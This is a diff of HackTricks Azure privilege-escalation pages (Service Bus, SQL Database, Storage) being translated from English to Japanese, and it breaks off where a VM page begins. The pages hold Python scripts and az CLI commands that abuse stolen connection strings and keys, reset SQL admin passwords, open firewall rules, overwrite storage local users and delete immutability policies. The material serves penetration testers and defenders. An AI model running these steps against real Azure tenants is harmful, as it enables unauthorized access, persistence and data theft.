{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,16 +4,15 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
For more information check:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-servicebus-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow.
|
||||
### メッセージを送信します。アクション: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` または `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
`PrimaryConnectionString`を取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用すると、Service Bus名前空間として完全に認証でき、任意のキューやトピックにメッセージを送信し、システムに対して操作を妨害したり、有効なユーザーを偽装したり、メッセージングワークフローに悪意のあるデータを注入したりする可能性があります。
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -30,51 +29,51 @@ TOPIC_NAME = "<TOPIC_NAME>"
|
||||
|
||||
# Function to send a single message to a Service Bus topic
|
||||
async def send_individual_message(publisher):
|
||||
# Prepare a single message with updated content
|
||||
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
|
||||
# Send the message to the topic
|
||||
await publisher.send_messages(single_message)
|
||||
print("Sent a single message containing 'Hacktricks-Training'")
|
||||
# Prepare a single message with updated content
|
||||
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
|
||||
# Send the message to the topic
|
||||
await publisher.send_messages(single_message)
|
||||
print("Sent a single message containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send multiple messages to a Service Bus topic
|
||||
async def send_multiple_messages(publisher):
|
||||
# Generate a collection of messages with updated content
|
||||
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
|
||||
# Send the entire collection of messages to the topic
|
||||
await publisher.send_messages(message_list)
|
||||
print("Sent a list of 5 messages containing 'Hacktricks-Training'")
|
||||
# Generate a collection of messages with updated content
|
||||
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
|
||||
# Send the entire collection of messages to the topic
|
||||
await publisher.send_messages(message_list)
|
||||
print("Sent a list of 5 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send a grouped batch of messages to a Service Bus topic
|
||||
async def send_grouped_messages(publisher):
|
||||
# Send a grouped batch of messages with updated content
|
||||
async with publisher:
|
||||
grouped_message_batch = await publisher.create_message_batch()
|
||||
for i in range(10):
|
||||
try:
|
||||
# Append a message to the batch with updated content
|
||||
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
|
||||
except ValueError:
|
||||
# If batch reaches its size limit, handle by creating another batch
|
||||
break
|
||||
# Dispatch the batch of messages to the topic
|
||||
await publisher.send_messages(grouped_message_batch)
|
||||
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")
|
||||
# Send a grouped batch of messages with updated content
|
||||
async with publisher:
|
||||
grouped_message_batch = await publisher.create_message_batch()
|
||||
for i in range(10):
|
||||
try:
|
||||
# Append a message to the batch with updated content
|
||||
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
|
||||
except ValueError:
|
||||
# If batch reaches its size limit, handle by creating another batch
|
||||
break
|
||||
# Dispatch the batch of messages to the topic
|
||||
await publisher.send_messages(grouped_message_batch)
|
||||
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Main function to execute all tasks
|
||||
async def execute():
|
||||
# Instantiate the Service Bus client with the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as sb_client:
|
||||
# Create a topic sender for dispatching messages to the topic
|
||||
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
|
||||
async with publisher:
|
||||
# Send a single message
|
||||
await send_individual_message(publisher)
|
||||
# Send multiple messages
|
||||
await send_multiple_messages(publisher)
|
||||
# Send a batch of messages
|
||||
await send_grouped_messages(publisher)
|
||||
# Instantiate the Service Bus client with the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as sb_client:
|
||||
# Create a topic sender for dispatching messages to the topic
|
||||
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
|
||||
async with publisher:
|
||||
# Send a single message
|
||||
await send_individual_message(publisher)
|
||||
# Send multiple messages
|
||||
await send_multiple_messages(publisher)
|
||||
# Send a batch of messages
|
||||
await send_grouped_messages(publisher)
|
||||
|
||||
# Run the asynchronous execution
|
||||
asyncio.run(execute())
|
||||
@@ -82,11 +81,9 @@ print("Messages Sent")
|
||||
print("----------------------------")
|
||||
|
||||
```
|
||||
### メッセージを受信する。アクション: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` または `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows.
|
||||
|
||||
PrimaryConnectionStringを取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用して、名前空間内の任意のキューまたはサブスクリプションからメッセージを受信でき、潜在的に機密または重要なデータへのアクセスを可能にし、データの流出を促進したり、メッセージ処理やアプリケーションのワークフローに干渉したりすることができます。
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -102,48 +99,45 @@ SUBSCRIPTION_NAME = "<TOPIC_SUBSCRIPTION_NAME>" #Topic Subscription
|
||||
|
||||
# Function to receive and process messages from a Service Bus subscription
|
||||
async def receive_and_process_messages():
|
||||
# Create a Service Bus client using the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as servicebus_client:
|
||||
# Create a Service Bus client using the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as servicebus_client:
|
||||
|
||||
# Get the Subscription Receiver object for the specified topic and subscription
|
||||
receiver = servicebus_client.get_subscription_receiver(
|
||||
topic_name=TOPIC_NAME,
|
||||
subscription_name=SUBSCRIPTION_NAME,
|
||||
max_wait_time=5
|
||||
)
|
||||
# Get the Subscription Receiver object for the specified topic and subscription
|
||||
receiver = servicebus_client.get_subscription_receiver(
|
||||
topic_name=TOPIC_NAME,
|
||||
subscription_name=SUBSCRIPTION_NAME,
|
||||
max_wait_time=5
|
||||
)
|
||||
|
||||
async with receiver:
|
||||
# Receive messages with a defined maximum wait time and count
|
||||
received_msgs = await receiver.receive_messages(
|
||||
max_wait_time=5,
|
||||
max_message_count=20
|
||||
)
|
||||
for msg in received_msgs:
|
||||
print("Received: " + str(msg))
|
||||
# Complete the message to remove it from the subscription
|
||||
await receiver.complete_message(msg)
|
||||
async with receiver:
|
||||
# Receive messages with a defined maximum wait time and count
|
||||
received_msgs = await receiver.receive_messages(
|
||||
max_wait_time=5,
|
||||
max_message_count=20
|
||||
)
|
||||
for msg in received_msgs:
|
||||
print("Received: " + str(msg))
|
||||
# Complete the message to remove it from the subscription
|
||||
await receiver.complete_message(msg)
|
||||
|
||||
# Run the asynchronous message processing function
|
||||
asyncio.run(receive_and_process_messages())
|
||||
print("Message Receiving Completed")
|
||||
print("----------------------------")
|
||||
```
|
||||
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC).
|
||||
|
||||
これらの権限がある場合、共有アクセスキーを読み取ったり作成したりすることで特権を昇格させることができます。これらのキーは、キュー、トピックの管理、メッセージの送受信を含むService Bus名前空間に対する完全な制御を可能にし、役割ベースのアクセス制御(RBAC)を回避する可能性があります。
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
@@ -152,7 +146,3 @@ az servicebus namespace authorization-rule update \
|
||||
- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQL Database Privesc
|
||||
|
||||
For more information about SQL Database check:
|
||||
SQL Databaseに関する詳細情報は、以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
@@ -12,104 +12,88 @@ For more information about SQL Database check:
|
||||
|
||||
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
|
||||
|
||||
With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access.
|
||||
|
||||
これらの権限を持つユーザーは、Azure SQLサーバーを更新または作成し、管理者資格情報を含む重要な設定を変更することで特権昇格を行うことができます。この権限により、ユーザーはサーバーのプロパティを更新でき、SQLサーバーの管理者パスワードを変更することで、不正アクセスやサーバーの制御を可能にします。また、新しいサーバーを作成することもでき、悪意のある目的のためにシャドウインフラストラクチャを導入する可能性があります。特に「Microsoft Entra Authentication Only」が無効になっている環境では、SQLベースの認証を悪用して無制限のアクセスを得ることができるため、これは特に重要です。
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--admin-password <new_password>
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--admin-password <new_password>
|
||||
|
||||
# Create a new server
|
||||
az sql server create \
|
||||
--name <new_server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--location <location> \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
--name <new_server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--location <location> \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
```
|
||||
|
||||
Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it:
|
||||
|
||||
また、プライベートエンドポイント以外からアクセスする場合は、パブリックアクセスを有効にする必要があります。有効にするには:
|
||||
```bash
|
||||
az sql server update \
|
||||
--name <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
--name <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/firewallRules/write"
|
||||
|
||||
An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources.
|
||||
|
||||
攻撃者は、Azure SQL サーバーのファイアウォールルールを操作して、不正アクセスを許可することができます。これを利用して、特定の IP アドレスや全体の IP 範囲(パブリック IP を含む)に対してサーバーを開放し、悪意のあるアクターへのアクセスを可能にします。このポストエクスプロイト活動は、既存のネットワークセキュリティコントロールを回避したり、持続性を確立したり、機密リソースを露出させることによって環境内での横移動を促進するために使用される可能性があります。
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
--name <new-firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <start-ip-address> \
|
||||
--end-ip-address <end-ip-address>
|
||||
--name <new-firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <start-ip-address> \
|
||||
--end-ip-address <end-ip-address>
|
||||
|
||||
# Update Firewall Rule
|
||||
az sql server firewall-rule update \
|
||||
--name <firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
--name <firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
さらに、`Microsoft.Sql/servers/outboundFirewallRules/delete` 権限を持つことで、ファイアウォールルールを削除できます。
|
||||
注意: パブリックアクセスを有効にする必要があります。
|
||||
|
||||
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
|
||||
|
||||
With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access."
|
||||
|
||||
この権限を持つことで、Azure SQL Server上のIPv6ファイアウォールルールを作成、変更、または削除できます。これにより、攻撃者や認可されたユーザーが既存のネットワークセキュリティ構成を回避し、サーバーへの不正アクセスを得る可能性があります。任意のIPv6アドレスからのトラフィックを許可するルールを追加することで、攻撃者はサーバーを外部アクセスに対して開放することができます。
|
||||
```bash
|
||||
az sql server firewall-rule create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <rule_name> \
|
||||
--start-ip-address <start_ipv6_address> \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <rule_name> \
|
||||
--start-ip-address <start_ipv6_address> \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
さらに、`Microsoft.Sql/servers/ipv6FirewallRules/delete` 権限を持つことで、ファイアウォールルールを削除できます。
|
||||
注意:パブリックアクセスを有効にする必要があります。
|
||||
|
||||
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
|
||||
|
||||
With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server:
|
||||
|
||||
この権限を使用すると、Azure SQL Server 環境で SQL データベースにアクセスし、重要な情報を取得することができます。以下のコマンドを使用することで、攻撃者または認可されたユーザーは、自分自身または別のアカウントを Azure AD 管理者として設定できます。"Microsoft Entra Authentication Only" が有効になっている場合、サーバーおよびそのインスタンスにアクセスできます。SQL サーバーの Azure AD 管理者を設定するためのコマンドは次のとおりです:
|
||||
```bash
|
||||
az sql server ad-admin create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
|
||||
|
||||
With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication.
|
||||
|
||||
これらの権限を持つことで、Azure SQL Serverで「Microsoft Entra Authentication Only」を構成および強制することができ、特定のシナリオで権限昇格を促進する可能性があります。攻撃者またはこれらの権限を持つ認可されたユーザーは、Azure AD専用認証を有効または無効にすることができます。
|
||||
```bash
|
||||
#Enable
|
||||
az sql server azure-ad-only-auth enable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
#Disable
|
||||
az sql server azure-ad-only-auth disable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
For more information about storage check:
|
||||
ストレージに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
@@ -12,26 +12,21 @@ For more information about storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/listkeys/action
|
||||
|
||||
A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
この権限を持つプリンシパルは、ストレージアカウントの**アクセスキー**のリスト(および秘密値)を表示できるようになります。これにより、プリンシパルはストレージアカウントに対する権限を昇格させることができます。
|
||||
```bash
|
||||
az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/regenerateKey/action
|
||||
|
||||
A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one:
|
||||
この権限を持つプリンシパルは、ストレージアカウントの**アクセスキー**の新しい秘密値を更新および取得することができます。これにより、プリンシパルはストレージアカウントに対する権限を昇格させることができます。
|
||||
|
||||
さらに、レスポンスでは、ユーザーは更新されたキーの値と更新されていないキーの値の両方を取得します:
|
||||
```bash
|
||||
az storage account keys renew --account-name <acc-name> --key key2
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/write
|
||||
|
||||
A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies.
|
||||
|
||||
この権限を持つプリンシパルは、ネットワークルールやポリシーなどの設定を更新して、既存のストレージアカウントを作成または更新することができます。
|
||||
```bash
|
||||
# e.g. set default action to allow so network restrictions are avoided
|
||||
az storage account update --name <acc-name> --default-action Allow
|
||||
@@ -39,118 +34,101 @@ az storage account update --name <acc-name> --default-action Allow
|
||||
# e.g. allow an IP address
|
||||
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
|
||||
```
|
||||
|
||||
## Blobs Specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
|
||||
|
||||
The first permission allows to **modify immutability policies** in containers and the second to delete them.
|
||||
最初の権限はコンテナ内の**不変ポリシーを変更する**ことを許可し、2番目はそれらを削除することを許可します。
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if an immutability policy is in lock state, you cannot do neither of both
|
||||
|
||||
> 不変ポリシーがロック状態にある場合、どちらも実行できないことに注意してください。
|
||||
```bash
|
||||
az storage container immutability-policy delete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
|
||||
az storage container immutability-policy update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
```
|
||||
|
||||
## File shares specific privesc
|
||||
## ファイル共有特有の特権昇格
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
|
||||
|
||||
This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem.
|
||||
この権限を持つユーザーは、共有ファイルシステム内のファイルの所有権を取得できるはずです。
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
|
||||
|
||||
This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem.
|
||||
この権限を持つユーザーは、共有ファイルシステム内のファイルの権限を変更できるはずです。
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
|
||||
|
||||
This should allow a user having this permission to be able to perform actions inside a file system as a superuser.
|
||||
この権限を持つユーザーは、ファイルシステム内でスーパーユーザーとしてアクションを実行できるはずです。
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
|
||||
|
||||
With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storageアカウント(階層名前空間で構成されている)用の新しいローカルユーザーを作成および更新(`Microsoft.Storage/storageAccounts/localusers/read`権限がある場合)できます。これには、ユーザーの権限やホームディレクトリを指定することが含まれます。この権限は、攻撃者が読み取り(r)、書き込み(w)、削除(d)、リスト(l)などの特定の権限を持つストレージアカウントを自分に付与できるため、重要です。さらに、これで使用される認証方法は、Azure生成のパスワードやSSHキーのペアです。ユーザーがすでに存在するかどうかのチェックはないため、既存の他のユーザーを上書きすることができます。攻撃者は特権を昇格させ、ストレージアカウントへのSSHアクセスを取得し、機密データを露出または侵害する可能性があります。
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME> \
|
||||
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME> \
|
||||
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
|
||||
|
||||
With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage アカウント内のローカルユーザーのパスワードを再生成できます。これにより、攻撃者はユーザーの新しい認証情報(SSH または SFTP パスワードなど)を取得する能力を得ます。これらの認証情報を利用することで、攻撃者はストレージアカウントへの不正アクセスを行い、ファイル転送を実行したり、ストレージコンテナ内のデータを操作したりすることができます。これにより、データの漏洩、破損、またはストレージアカウントの内容の悪意のある変更が発生する可能性があります。
|
||||
```bash
|
||||
az storage account local-user regenerate-password \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
```
|
||||
|
||||
To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect):
|
||||
|
||||
Azure Blob Storageにローカルユーザーを介してSFTPでアクセスするには(接続するためにsshキーを使用することもできます):
|
||||
```bash
|
||||
sftp <local-user-name>@<storage-account-name>.blob.core.windows.net
|
||||
#regenerated-password
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
|
||||
With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
この権限を持つ攻撃者は、削除されたバージョンIDを指定することで削除されたコンテナを復元したり、以前にソフト削除された場合にコンテナ内の特定のBlobを復元したりすることができます。この特権昇格により、攻撃者は永久に削除される予定だった機密データを回復できる可能性があり、無許可のアクセスにつながる可能性があります。
|
||||
```bash
|
||||
#Restore the soft deleted container
|
||||
az storage container restore \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--name <CONTAINER_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--name <CONTAINER_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
|
||||
#Restore the soft deleted blob
|
||||
az storage blob undelete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
|
||||
|
||||
With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
これらの権限を持つ攻撃者は、削除されたバージョンIDを指定することで削除されたAzureファイル共有を復元できます。この特権昇格により、攻撃者は永久に削除される予定だった機密データを回復できる可能性があり、無許可のアクセスにつながる可能性があります。
|
||||
```bash
|
||||
az storage share-rm restore \
|
||||
--storage-account <STORAGE_ACCOUNT_NAME> \
|
||||
--name <FILE_SHARE_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
--storage-account <STORAGE_ACCOUNT_NAME> \
|
||||
--name <FILE_SHARE_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
```
|
||||
## その他の興味深い権限 (TODO)
|
||||
|
||||
## Other interesting looking permissions (TODO)
|
||||
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: ブロブの所有権を変更します
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: ブロブの権限を変更します
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: ブロブコマンドの結果を返します
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## VMS & Network
|
||||
|
||||
For more info about Azure Virtual Machines and Network check:
|
||||
